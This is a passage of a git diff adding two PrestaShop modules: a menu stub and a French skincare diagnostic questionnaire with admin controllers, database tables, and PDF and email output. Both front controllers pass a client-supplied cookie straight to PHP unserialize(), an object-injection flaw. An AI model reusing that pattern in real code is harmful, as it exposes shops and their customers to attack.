Tools::redirectAdmin($link); + } + +} diff --git a/modules/advmenu/index.php b/modules/advmenu/index.php new file mode 100644 index 0000000..a41987d --- /dev/null +++ b/modules/advmenu/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/advmenu/js/advmenu.js b/modules/advmenu/js/advmenu.js new file mode 100644 index 0000000..4ab2f92 --- /dev/null +++ b/modules/advmenu/js/advmenu.js @@ -0,0 +1,3 @@ +function advMenu() { + $menu = $('.menu-content'); +} \ No newline at end of file diff --git a/modules/advmenu/translations/fr.php b/modules/advmenu/translations/fr.php new file mode 100644 index 0000000..e69de29 diff --git a/modules/advmenu/views/templates/hook/advmenu.tpl b/modules/advmenu/views/templates/hook/advmenu.tpl new file mode 100644 index 0000000..778dd1d --- /dev/null +++ b/modules/advmenu/views/templates/hook/advmenu.tpl @@ -0,0 +1,3 @@ + + + diff --git a/modules/antadis_diagnostic/AdminDiagnostic.gif b/modules/antadis_diagnostic/AdminDiagnostic.gif new file mode 100755 index 0000000..3531f0f Binary files /dev/null and b/modules/antadis_diagnostic/AdminDiagnostic.gif differ diff --git a/modules/antadis_diagnostic/antadis_diagnostic.php b/modules/antadis_diagnostic/antadis_diagnostic.php new file mode 100755 index 0000000..fccb7cd --- /dev/null +++ b/modules/antadis_diagnostic/antadis_diagnostic.php @@ -0,0 +1,202 @@ + array( + 'controller' => 'display', + 'rule' => 'votre-diagnostic{/:step}', + 'keywords' =>array( + 'fc' => array(), + 'module' => array(), + 'controller' => array(), + 'step' => array('regexp' => '[0-9]*', 'param' => 'step') + ), + 'params' => array( + 'fc' => 'module', + 'module' => 'antadis_diagnostic', + 'controller' => 'display', + ) + ), + 'module-antadis_diagnostic-diagnosticemail' => array( + 'controller' => 'diagnosticemail', + 'rule' => 'votre-diagnostic/email', + 'keywords' =>array( + 'fc' => array(), + 'module' => array(), + 'controller' => array(), + ), + 'params' => array( + 'fc' => 'module', + 'module' => 'antadis_diagnostic', + 'controller' => 'diagnosticemail', + ) + ), + 'module-antadis_diagnostic-diagnosticpdf' => array( + 'controller' => 'diagnosticpdf', + 'rule' => 'votre-diagnostic/pdf', + 'keywords' =>array( + 'fc' => array(), + 'module' => array(), + 'controller' => array(), + ), + 'params' => array( + 'fc' => 'module', + 'module' => 'antadis_diagnostic', + 'controller' => 'diagnosticpdf', + ) + ), + ); + + + public function __construct(){ + $this->name = 'antadis_diagnostic'; + $this->tab = 'advertising_marketing'; + $this->version = '1.0'; + $this->author = 'Antadis'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Configuration du diagnostic'); + $this->description = $this->l('Permet de configurer le questionnaire de diagnostic'); + $this->confirmUninstall = $this->l('Etes vous sur de vouloir désinstaller ce module ?'); + } + + public function install(){ + if (!parent::install() || !$this->installDb()){ + return false; + } + return true; + } + + public function installDb(){ + $prefix = _DB_PREFIX_ ; + $engine = _MYSQL_ENGINE_; + + $statements = array(); + $statements[] = sprintf('CREATE TABLE IF NOT EXISTS `%sdiag_section` ( + `id_section` int(11) NOT NULL AUTO_INCREMENT, + `position` int(11), + PRIMARY KEY (`id_section`) + ) ENGINE=%s DEFAULT CHARSET=utf8 ;', $prefix, $engine); + + $statements[] = sprintf('CREATE TABLE IF NOT EXISTS `%sdiag_section_lang` ( + `id_section` int(11) NOT NULL, + `id_lang` VARCHAR(255) NOT NULL, + `title` VARCHAR(255) NOT NULL, + PRIMARY KEY (`id_section`, `id_lang`) + ) ENGINE=%s DEFAULT CHARSET=utf8 ;', $prefix, $engine); + + $statements[] = sprintf('CREATE TABLE IF NOT EXISTS `%sdiag_question` ( + `id_question` int(11) NOT NULL AUTO_INCREMENT, + `id_section` int(11) NOT NULL, + `is_profil` int(11), + `position` int(11), + PRIMARY KEY (`id_question`) + ) ENGINE=%s DEFAULT CHARSET=utf8 ;', $prefix, $engine); + + $statements[] = sprintf('CREATE TABLE IF NOT EXISTS `%sdiag_question_lang` ( + `id_question` int(11) NOT NULL, + `id_lang` int(11) NOT NULL, + `title` VARCHAR(255), + PRIMARY KEY (`id_question`,`id_lang`) + ) ENGINE=%s DEFAULT CHARSET=utf8 ;', $prefix, $engine); + + $statements[] = sprintf('CREATE TABLE IF NOT EXISTS `%sdiag_response` ( + `id_response` int(11) NOT NULL AUTO_INCREMENT, + `id_question` int(11) NOT NULL, + `is_product` int(11), + `is_lightbox` int(11), + PRIMARY KEY (`id_response`) + ) ENGINE=%s DEFAULT CHARSET=utf8 ;', $prefix, $engine); + + $statements[] = sprintf('CREATE TABLE IF NOT EXISTS `%sdiag_response_lang` ( + `id_response` int(11) NOT NULL, + `id_lang` int(11) NOT NULL, + `title` VARCHAR(255), + `text_lightbox` TEXT, + PRIMARY KEY (`id_response`, `id_lang`) + ) ENGINE=%s DEFAULT CHARSET=utf8 ;', $prefix, $engine); + + $statements[] = sprintf('CREATE TABLE IF NOT EXISTS `%sdiag_profil` ( + `id_profil` int(11) NOT NULL AUTO_INCREMENT, + PRIMARY KEY (`id_profil`) + ) ENGINE=%s DEFAULT CHARSET=utf8 ;', $prefix, $engine); + + $statements[] = sprintf('CREATE TABLE IF NOT EXISTS `%sdiag_profil_lang` ( + `id_profil` int(11) NOT NULL, + `id_lang` int(11) NOT NULL, + `title` VARCHAR(255), + `description` TEXT, + PRIMARY KEY (`id_profil`, `id_lang`) + ) ENGINE=%s DEFAULT CHARSET=utf8 ;', $prefix, $engine); + + $statements[] = sprintf('CREATE TABLE IF NOT EXISTS `%sdiag_profil_product` ( + `id_profil` int(11) NOT NULL, + `id_product` int(11) NOT NULL, + PRIMARY KEY (`id_profil`,`id_product`) + ) ENGINE=%s DEFAULT CHARSET=utf8 ;', $prefix, $engine); + + $statements[] = sprintf('CREATE TABLE IF NOT EXISTS `%sdiag_profil_rep_prod` ( + `id_profil` int(11) NOT NULL, + `id_product` int(11) NOT NULL, + `id_response` int(11) NOT NULL, + `id_question` int(11), + PRIMARY KEY (`id_profil`,`id_product`,`id_response`) + ) ENGINE=%s DEFAULT CHARSET=utf8 ;', $prefix, $engine); + + + + return $this->uninstallDb() && $this->updateDb($statements); + } + + public function updateDb($statements){ + foreach($statements as $statement){ + if( !Db::getInstance()->execute($statement)){ + return false; + } + } + return true; + } + + public function uninstallDb(){ + $prefix = _DB_PREFIX_ ; + $statements = array(); + + /* $statements[] = sprintf('DROP TABLE IF EXISTS `%sdiag_section`;', $prefix ); + $statements[] = sprintf('DROP TABLE IF EXISTS `%sdiag_section_lang`;', $prefix ); + $statements[] = sprintf('DROP TABLE IF EXISTS `%sdiag_question`;', $prefix ); + $statements[] = sprintf('DROP TABLE IF EXISTS `%sdiag_question_lang`;', $prefix ); + $statements[] = sprintf('DROP TABLE IF EXISTS `%sdiag_response`;', $prefix ); + $statements[] = sprintf('DROP TABLE IF EXISTS `%sdiag_response_lang`;', $prefix ); + $statements[] = sprintf('DROP TABLE IF EXISTS `%sdiag_profil`;', $prefix ); + $statements[] = sprintf('DROP TABLE IF EXISTS `%sdiag_profil_lang`;', $prefix ); + $statements[] = sprintf('DROP TABLE IF EXISTS `%sdiag_profil_product`;', $prefix ); + $statements[] = sprintf('DROP TABLE IF EXISTS `%sdiag_profil_rep_prod`;', $prefix );*/ + $this->updateDb($statements); + + return $this->updateDb($statements); + } + + public function uninstall() { + if(!parent::uninstall() || !$this->uninstallDb()){ + return false; + } + return true; + } + + public function hookModuleRoutes($ModuleRoutes){ + $ModuleRoutes = self::$ModuleRoutes; + $url = $this->l('diagnostic-ant'); + $ModuleRoutes['module-antadis_diagnostic-display']['rule'] = $url.'{/:step}'; + + return $ModuleRoutes; + } +} \ No newline at end of file diff --git a/modules/antadis_diagnostic/controllers/admin/AdminDiagnostic.php b/modules/antadis_diagnostic/controllers/admin/AdminDiagnostic.php new file mode 100755 index 0000000..628f3f2 --- /dev/null +++ b/modules/antadis_diagnostic/controllers/admin/AdminDiagnostic.php @@ -0,0 +1,7 @@ +bootstrap = true; + $this->table = 'diag_profil'; + $this->identifier = 'id_profil'; + $this->className = 'Profil'; + $this->lang = true; + $this->context = Context::getContext(); + $this->addRowAction('edit'); + + parent::__construct(); + } + + public function init() + { + if (Tools::getValue('id_response') && Tools::getValue('id_profil')){ + $link = Context::getContext()->link->getAdminLink('AdminDiagnosticResponse', true).'&id_profil='.(int)Tools::getValue('id_profil').'&updatediag_response&id_response='.Tools::getValue('id_response'); + Tools::redirectAdmin($link); + } + + parent::init(); + } + + public function renderList(){ + $this->addRowAction('view'); + $this->addRowAction('delete'); + + $this->fields_list = array( + 'id_profil' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 20, + ), + 'title' => array( + 'title' => $this->l('Title'), + 'width' => 40, + ), + ); + return parent::renderList(); + } + + public function renderForm() + { + $this->display = 'edit'; + $this->initToolbar(); + if (!$obj = $this->loadObject(TRUE)) { + return; + } + + $this->fields_form = array( + 'multilang'=> true, + 'tinymce' => TRUE, + 'legend' => array( + 'title' => $this->l('Diagnostic Profil') + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Profil name :'), + 'name' => 'title', + 'id' => 'title', + 'size' => 40, + 'lang' => true, + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Profil description :'), + 'name' => 'description', + 'id' => 'description', + 'cols' => 40, + 'rows' => 3, + 'lang' => true, + ), + array( + 'type' => 'relation_profil_product', + 'name' => 'input-product', + 'label' => $this->l('Choose product'), + 'id' => 'product', + 'size' => 40, + 'query' => $this->object->getInfosWithValues('product'), + 'form_group_class' => 'form-group-page form-group-postcms', + ), + + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + return parent::renderForm(); + } + + public function renderView(){ + + if ($id = Tools::getValue('id_profil')){ + + $this->bootstrap = true; + $this->table = 'diag_response'; + $this->className = 'Response'; + $this->identifier = 'id_response'; + + if (!Validate::isLoadedObject($obj = new Profil((int)$id))) + { + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.').' '.$this->table.' '.Tools::displayError('(cannot load object)'); + return; + } + + $this->toolbar_title = $this->l('Response Configuration for profil: ').$this->object->title[$this->context->language->id]; + + $this->_select = 'ql.`title` AS `question`'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'diag_question_lang` ql ON (ql.`id_question` = a.`id_question`)'; + $this->_where = 'AND a.`is_product` = 1 AND ql.`id_lang`='.$this->context->language->id; + $this->_orderBy = "id_response"; + + $this->fields_list = array( + 'id_question' => array( + 'title' => $this->l('ID question'), + 'align' => 'center', + 'width' => '200', + 'class' => 'fixed-width-xs' + ), + 'question' => array( + 'title' => $this->l('Question'), + 'width' => 'auto', + 'filter_key' => 'b!name', + ), + 'title' => array( + 'title' => $this->l('Response'), + 'width' => 'auto', + 'filter_key' => 'b!name', + ) + ); + + self::$currentIndex = self::$currentIndex.'&id_profil='.(int)$id; + /*$this->processFilter();*/ + return parent::renderList(); + } + } + + public function processSave() + { + $save = parent::processSave(); + + if(Validate::isLoadedObject($this->object)) + $profil_id = $this->object->id ; + else{ + $profil = new Profil(); + $profil->title = Tools::getValue('title'); + if(Tools::getValue('description')) + $profil->title = Tools::getValue('description'); + $profil->add(); + $profil_id = $profil->id; + } + + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'diag_profil_product` + WHERE `id_profil` = '.(int) $profil_id.' + '); + + foreach(Tools::getValue('input-product', array()) as $product) { + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'diag_profil_product` + VALUES ( + '.(int) $profil_id.', + '.(int) $product.' + ) + '); + } + + return $save; + } + +} \ No newline at end of file diff --git a/modules/antadis_diagnostic/controllers/admin/AdminDiagnosticQuestion.php b/modules/antadis_diagnostic/controllers/admin/AdminDiagnosticQuestion.php new file mode 100755 index 0000000..13d2e5f --- /dev/null +++ b/modules/antadis_diagnostic/controllers/admin/AdminDiagnosticQuestion.php @@ -0,0 +1,241 @@ +bootstrap = true; + $this->table = 'diag_question'; + $this->identifier = 'id_question'; + $this->className = 'Question'; + $this->lang = true; + $this->context = Context::getContext(); + + + + parent::__construct(); + } + + public function init() + { + if (Tools::getIsset('deletediag_response')){ + $link = Context::getContext()->link->getAdminLink('AdminDiagnosticResponse', true).'&id_question='.$this->object->id.'&deletediag_response&id_response='.Tools::getValue('id_response'); + Tools::redirectAdmin($link); + } + elseif (Tools::getValue('id_response') && Tools::getValue('id_question')){ + $link = Context::getContext()->link->getAdminLink('AdminDiagnosticResponse', true).'&id_question='.$this->object->id.'&updatediag_response&id_response='.Tools::getValue('id_response'); + Tools::redirectAdmin($link); + } + + parent::init(); + } + + public function renderList() + { + $this->addRowAction('view'); + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_select = 'sl.`title` AS `sectionName`'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'diag_section_lang` sl ON (sl.`id_section` = a.`id_section`)'; + $this->_where = 'AND sl.`id_lang` = '.(int)$this->context->language->id; + + $this->fields_list = array( + 'id_question' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 20, + ), + 'sectionName' => array( + 'title' => $this->l('Theme'), + 'width' => 200, + ), + 'title' => array( + 'title' => $this->l('Question'), + 'width' => '200', + ), + 'position' => array( + 'title' => $this->l('Position'), + 'width' => '50', + ), + 'is_profil' => array( + 'title' => $this->l('Involding a profil'), + 'width' => '50', + 'type' => 'bool', + 'icon' => array( + 0 => 'disabled.gif', + 1 => 'enabled.gif', + 'default' => 'disabled.gif' + ), + ), + ); + + return parent::renderList(); + } + + public function renderForm() + { + $this->display = 'edit'; + $this->initToolbar(); + if (!$obj = $this->loadObject(TRUE)) { + return; + } + + $sqlSection = Db::getInstance()->executeS(' + SELECT sl.* + FROM `'._DB_PREFIX_.'diag_section` s + LEFT JOIN `'._DB_PREFIX_.'diag_section_lang` sl ON (sl.`id_section` = s.`id_section`) + WHERE sl.`id_lang` = '.(int)$this->context->language->id + ); + $tab = array(); + $tab['id'] = 0 ; + $tab['name'] = "Select Theme"; + $sections[] = $tab; + foreach($sqlSection as $s) { + $tab = array(); + $tab['id'] = $s['id_section'] ; + $tab['name'] = $s['title'] ; + $sections[] = $tab; + } + + $this->fields_form = array( + 'multilang'=>true, + 'tinymce' => TRUE, + 'legend' => array( + 'title' => $this->l('Diagnostic Question') + ), + 'input' => array( + array( + 'type' => 'select', + 'label' => $this->l('Theme :'), + 'name' => 'id_section', + 'options' => array( + 'query' => $sections, + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'text', + 'label' => $this->l('Question :'), + 'name' => 'title', + 'id' => 'title', + 'size' => 60, + 'lang' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('Position :'), + 'desc' => $this->l('Position in chosen Theme'), + 'name' => 'position', + 'id' => 'position', + 'size' => 20, + ), + array( + 'type' => 'radio', + 'label' => $this->l('Is a question to define profil ?'), + 'name' => 'is_profil', + 'required' => false, + 'class' => 't', + 'form_group_class' => 'fieldhide input_info', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'profil_on', + 'value' => 1 + ), + array( + 'id' => 'profil_off', + 'value' => 0 + ) + ), + ), + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + + return parent::renderForm(); + + } + + public function renderView() + { + if($this->object->is_profil == 1){ + + $link = Context::getContext()->link->getAdminLink('AdminDiagnosticProfil', true); + Tools::redirectAdmin($link); + } + elseif (Tools::getValue('id_question') && $this->object->is_profil == 0) + { + $id = $this->object->id_question; + + $this->bootstrap = true; + $this->table = 'diag_response'; + $this->className = 'Response'; + $this->identifier = 'id_response'; + + if (!Validate::isLoadedObject($obj = new Question((int)$id))) + { + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.').' '.$this->table.' '.Tools::displayError('(cannot load object)'); + return; + } + $this->toolbar_title = $this->l('Anwsers for: ').$this->object->title[$this->context->language->id]; + $this->toolbar_btn['new'] = array( + 'href' => Context::getContext()->link->getAdminLink('AdminDiagnosticResponse', true).'&id_question='.$this->object->id.'&adddiag_response', + 'desc' => $this->l('Add new', null, null, false), + 'icon' => 'process-icon-new' + ); + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_where = 'AND a.`id_question` = '.(int)$id; + + $this->fields_list = array( + 'id_response' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => '200', + 'class' => 'fixed-width-xs' + ), + 'title' => array( + 'title' => $this->l('Response'), + 'width' => 'auto', + 'filter_key' => 'b!name', + ), + 'is_product' => array( + 'title' => $this->l('Involding a product'), + 'width' => '200', + 'type' => 'bool', + 'icon' => array( + 0 => 'disabled.gif', + 1 => 'enabled.gif', + 'default' => 'disabled.gif' + ), + ), + 'is_lightbox' => array( + 'title' => $this->l('Involding a lightbox'), + 'width' => '200', + 'type' => 'bool', + 'icon' => array( + 0 => 'disabled.gif', + 1 => 'enabled.gif', + 'default' => 'disabled.gif' + ), + ) + ); + + self::$currentIndex = self::$currentIndex.'&id_question='.(int)$id.'&viewdiag_question'; + /*$this->processFilter();*/ + return parent::renderList(); + } + } + +} \ No newline at end of file diff --git a/modules/antadis_diagnostic/controllers/admin/AdminDiagnosticResponse.php b/modules/antadis_diagnostic/controllers/admin/AdminDiagnosticResponse.php new file mode 100755 index 0000000..79525ef --- /dev/null +++ b/modules/antadis_diagnostic/controllers/admin/AdminDiagnosticResponse.php @@ -0,0 +1,205 @@ +bootstrap = true; + $this->table = 'diag_response'; + $this->identifier = 'id_response'; + $this->className = 'response'; + $this->lang = true; + $this->context = Context::getContext(); + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->fields_list = array( + 'id_question' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 20, + ), + 'title' => array( + 'title' => $this->l('Response'), + 'width' => 30, + ) + ); + if(Tools::getIsset('id_profil')) + $this->id_profil = Tools::getValue('id_profil'); + parent::__construct(); + } + + public function renderForm() + + { + $this->display = 'edit'; + + if (!$obj = $this->loadObject(TRUE)) { + return; + } + + $this->initToolbar(); + if(Tools::getValue('id_question')) + $link = Context::getContext()->link->getAdminLink('AdminDiagnosticQuestion', true).'&id_question='.Tools::getValue('id_question').'&viewdiag_question'; + elseif(Tools::getIsset('id_profil')) + $link = Context::getContext()->link->getAdminLink('AdminDiagnosticProfil', true).'&id_profil='.$this->id_profil.'&viewdiag_profil'; + else + $link = Context::getContext()->link->getAdminLink('AdminDiagnosticQuestion', true).'&id_question='.$this->object->id_question.'&viewdiag_question'; + $this->toolbar_btn['back'] = array( + 'href' => $link, + 'desc' => $this->l('Back to list', null, null, false), + 'icon' => 'process-icon-back' + ); + + $this->fields_form = array( + 'multilang' => true, + 'tinymce' => TRUE, + 'legend' => array( + 'title' => $this->l('Diagnostic Response') + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + + if(!$this->id_profil){ + $this->fields_form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Response :'), + 'name' => 'title', + 'id' => 'title', + 'size' => 40, + 'lang' => true, + ); + $this->fields_form['input'][] = array( + 'type' => 'radio', + 'label' => $this->l('Is a response involving a product ?'), + 'name' => 'is_product', + 'required' => false, + 'class' => 't', + 'form_group_class' => 'fieldhide input_info', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'product_on', + 'value' => 1 + ), + array( + 'id' => 'product_off', + 'value' => 0 + ) + ), + ); + $this->fields_form['input'][] = array( + 'type' => 'radio', + 'label' => $this->l('Is a response involving a lightbox ?'), + 'name' => 'is_lightbox', + 'required' => false, + 'class' => 't', + 'form_group_class' => 'fieldhide input_info', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'lightbox_on', + 'value' => 1 + ), + array( + 'id' => 'lightbox_off', + 'value' => 0 + ) + ), + ); + $this->fields_form['input'][] = array( + 'type' => 'textarea', + 'label' => $this->l('Text for lightbox :'), + 'name' => 'text_lightbox', + 'id' => 'text_lightbox', + 'autoload_rte' => true, + 'hint' => $this->l('Invalid characters:').' <>;={}', + 'cols' => 40, + 'rows' => 4, + 'lang' => true, + ); + } + if(Tools::getValue('id_question')) + $this->fields_form['input'][] = array( + 'type' => 'inputHidden', + 'name' => 'id_question', + 'id' => 'id_question', + 'value' => (int)Tools::getValue('id_question'), + ); + if($this->id_profil){ + $this->fields_form['input'][] = array( + 'type' => 'inputHidden', + 'name' => 'idProfil', + 'id' => 'idProfil', + 'value' => (int)$this->id_profil, + ); + $this->fields_form['input'][] = array( + 'type' => 'relation_response_product', + 'name' => 'input-product', + 'label' => $this->l('Choose product'), + 'id' => 'product', + 'size' => 40, + 'query' => $this->object->getInfosWithValues('product', $this->id_profil), + 'form_group_class' => 'form-group-page form-group-postcms', + ); + + + } + $this->context->smarty->assign(array( + 'response' => ($this->id_profil)?$this->object:'', + )); + + return parent::renderForm(); + + } + + public function processSave() + { + $save = parent::processSave(); + + if(Tools::getValue('id_question')) + $this->redirect_after = Context::getContext()->link->getAdminLink('AdminDiagnosticQuestion', true).'&id_question='.Tools::getValue('id_question').'&viewdiag_question'; + elseif($profil_id = Tools::getValue('idProfil')){ + + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'diag_profil_rep_prod` + WHERE `id_profil` = '.(int)$profil_id.' AND `id_response` = '.(int)$this->object->id_response.' + '); + + foreach(Tools::getValue('input-product', array()) as $product) { + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'diag_profil_rep_prod` + VALUES ( + '.(int)$profil_id.', + '.(int)$product.', + '.(int)$this->object->id_response.', + '.(int)$this->object->id_question.' + ) + '); + } + + $this->redirect_after = Context::getContext()->link->getAdminLink('AdminDiagnosticProfil', true).'&id_profil='.$profil_id.'&viewdiag_profil'; + } + else + $this->redirect_after = Context::getContext()->link->getAdminLink('AdminDiagnosticQuestion', true).'&id_question='.$this->object->id_question.'&viewdiag_question'; + + return $save; + } + + public function processDelete() + { + $delete = parent::processDelete(); + $this->redirect_after = Context::getContext()->link->getAdminLink('AdminDiagnosticQuestion', true).'&id_question='.$this->object->id_question.'&viewdiag_question'; + return $delete; + } +} \ No newline at end of file diff --git a/modules/antadis_diagnostic/controllers/admin/AdminDiagnosticSection.php b/modules/antadis_diagnostic/controllers/admin/AdminDiagnosticSection.php new file mode 100755 index 0000000..ba5d725 --- /dev/null +++ b/modules/antadis_diagnostic/controllers/admin/AdminDiagnosticSection.php @@ -0,0 +1,83 @@ +bootstrap = true; + $this->table = 'diag_section'; + $this->identifier = 'id_section'; + $this->className = 'Section'; + $this->lang = true; + $this->context = Context::getContext(); + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + + $this->fields_list = array( + 'id_section' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 10 + ), + 'position' => array( + 'title' => $this->l('Position'), + 'align' => 'center', + 'width' => 30 + ), + 'title' => array( + 'title' => $this->l('Title'), + 'width' => 200, + ) + ); + + parent::__construct(); + } + + public function renderForm() + { + $this->display = 'edit'; + $this->initToolbar(); + if (!$obj = $this->loadObject(TRUE)) { + return; + } + + $this->fields_form = array( + 'multilang'=> true, + 'tinymce' => TRUE, + 'legend' => array( + 'title' => $this->l('Diagnostic Theme') + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Theme Title:'), + 'name' => 'title', + 'id' => 'title', + 'size' => 30, + 'maxlength' => 30, + 'lang' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('Theme position:'), + 'name' => 'position', + 'id' => 'position', + 'size' => 5, + 'maxlength' => 2, + ) + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + return parent::renderForm(); + } + +} \ No newline at end of file diff --git a/modules/antadis_diagnostic/controllers/front/diagnosticemail.php b/modules/antadis_diagnostic/controllers/front/diagnosticemail.php new file mode 100755 index 0000000..ca1e6a6 --- /dev/null +++ b/modules/antadis_diagnostic/controllers/front/diagnosticemail.php @@ -0,0 +1,114 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class antadis_diagnosticdiagnosticemailModuleFrontController extends ModuleFrontController +{ + + public function postProcess() + { + if (($from = trim(Tools::getValue('recevoir_from'))) && Validate::isEmail($from)){ + + global $smarty; + $context = Context::getContext(); + $id_lang = $context->language->id; + + if(isset($_COOKIE['diagnostic_response'])){ + $responses = unserialize($_COOKIE['diagnostic_response']); + $final = Question::getFinal($responses, $id_lang); + + $smarty->assign(array('final' => $final)); + + $this->getHeader($smarty); + $header_pdf = $smarty->fetch(_PS_PDF_DIR_.'header.tpl'); + $content_pdf = $smarty->fetch(_PS_THEME_DIR_.'pdf/Antdiagnostic.tpl'); + $filename = $this->l('votre-diagnostic').date("YmdHis"); + ob_get_clean(); + $pdf = new PDFGenerator(); + $pdf->createHeader($header_pdf); + $pdf->createContent($content_pdf); + $pdf->writePage(); + $pdf->render($filename.".pdf", 'F'); + + $this->attacher($filename,(int)Tools::getValue('step')); + } + } + } + + public function attacher($filename, $step){ + // $fileAttachment['content'] = _PS_BASE_URL_.__PS_BASE_URI__.'upload/'.$filename.'.pdf'; + $fileAttachment['name'] = $filename.'.pdf'; + $fileAttachment['mime'] = "application/pdf"; + $var_list['{attached_file_url}'] = _PS_BASE_URL_.__PS_BASE_URI__.'upload/'.$filename.'.pdf'; + $var_list['{attached_file}'] = "Votre diagnostic"; + + $subject="Votre Diagnostic Garancia"; + + $from = trim(Tools::getValue('recevoir_from')); + if(!Mail::Send($this->context->language->id, 'diagnostic', $subject, $var_list, $from, null, null, null, $fileAttachment)) + Tools::redirect($this->context->link->getModuleLink('antadis_diagnostic','display', ['step' => $step, 'badmail' => 1])) ; + else{ + Tools::redirect($this->context->link->getModuleLink('antadis_diagnostic','display', ['step' => $step, 'success' => 1])); + } + } + + public function getHeader($smarty) + { + $shop_name = Configuration::get('PS_SHOP_NAME', null, null, (int)$this->order->id_shop); + $path_logo = $this->getLogo(); + + $width = 0; + $height = 0; + if (!empty($path_logo)) + list($width, $height) = getimagesize($path_logo); + + $smarty->assign(array( + 'logo_path' => $path_logo, + 'img_ps_dir' => 'http://'.Tools::getMediaServer(_PS_IMG_)._PS_IMG_, + 'img_update_time' => Configuration::get('PS_IMG_UPDATE_TIME'), + 'date' => Tools::displayDate(date("Y-m-d")), + 'title' => '', + 'shop_name' => $shop_name, + 'width_logo' => $width, + 'height_logo' => $height + )); + } + + /** + * Returns the invoice logo + */ + protected function getLogo() + { + $logo = ''; + + $physical_uri = Context::getContext()->shop->physical_uri.'img/'; + + if (Configuration::get('PS_LOGO_INVOICE', null, null, (int)$this->order->id_shop) != false && file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO_INVOICE', null, null, (int)$this->order->id_shop))) + $logo = _PS_IMG_DIR_.Configuration::get('PS_LOGO_INVOICE', null, null, (int)$this->order->id_shop); + elseif (Configuration::get('PS_LOGO', null, null, (int)$this->order->id_shop) != false && file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO', null, null, (int)$this->order->id_shop))) + $logo = _PS_IMG_DIR_.Configuration::get('PS_LOGO', null, null, (int)$this->order->id_shop); + return $logo; + } +} diff --git a/modules/antadis_diagnostic/controllers/front/diagnosticpdf.php b/modules/antadis_diagnostic/controllers/front/diagnosticpdf.php new file mode 100755 index 0000000..d1e975b --- /dev/null +++ b/modules/antadis_diagnostic/controllers/front/diagnosticpdf.php @@ -0,0 +1,93 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class antadis_diagnosticdiagnosticpdfModuleFrontController extends ModuleFrontController +{ + + public function postProcess() + { + global $smarty; + $context = Context::getContext(); + $id_lang = $context->language->id; + + if(isset($_COOKIE['diagnostic_response'])){ + $responses = unserialize($_COOKIE['diagnostic_response']); + $final = Question::getFinal($responses, $id_lang); + + $smarty->assign(array('final' => $final)); + + $this->getHeader($smarty); + $header_pdf = $smarty->fetch(_PS_PDF_DIR_.'header.tpl'); + $content_pdf = $smarty->fetch(_PS_THEME_DIR_.'pdf/Antdiagnostic.tpl'); + $filename = $this->l('votre-diagnostic'); + ob_get_clean(); + $pdf = new PDFGenerator(); + $pdf->createHeader($header_pdf); + $pdf->createContent($content_pdf); + $pdf->writePage(); + $pdf->render($filename.date("Y-m-d").".pdf", true); + } + + } + + public function getHeader($smarty) + { + $shop_name = Configuration::get('PS_SHOP_NAME', null, null, (int)$this->order->id_shop); + $path_logo = $this->getLogo(); + + $width = 0; + $height = 0; + if (!empty($path_logo)) + list($width, $height) = getimagesize($path_logo); + + $smarty->assign(array( + 'logo_path' => $path_logo, + 'img_ps_dir' => 'http://'.Tools::getMediaServer(_PS_IMG_)._PS_IMG_, + 'img_update_time' => Configuration::get('PS_IMG_UPDATE_TIME'), + 'date' => Tools::displayDate(date("Y-m-d")), + 'title' => '', + 'shop_name' => $shop_name, + 'width_logo' => $width, + 'height_logo' => $height + )); + } + + /** + * Returns the invoice logo + */ + protected function getLogo() + { + $logo = ''; + + $physical_uri = Context::getContext()->shop->physical_uri.'img/'; + + if (Configuration::get('PS_LOGO_INVOICE', null, null, (int)$this->order->id_shop) 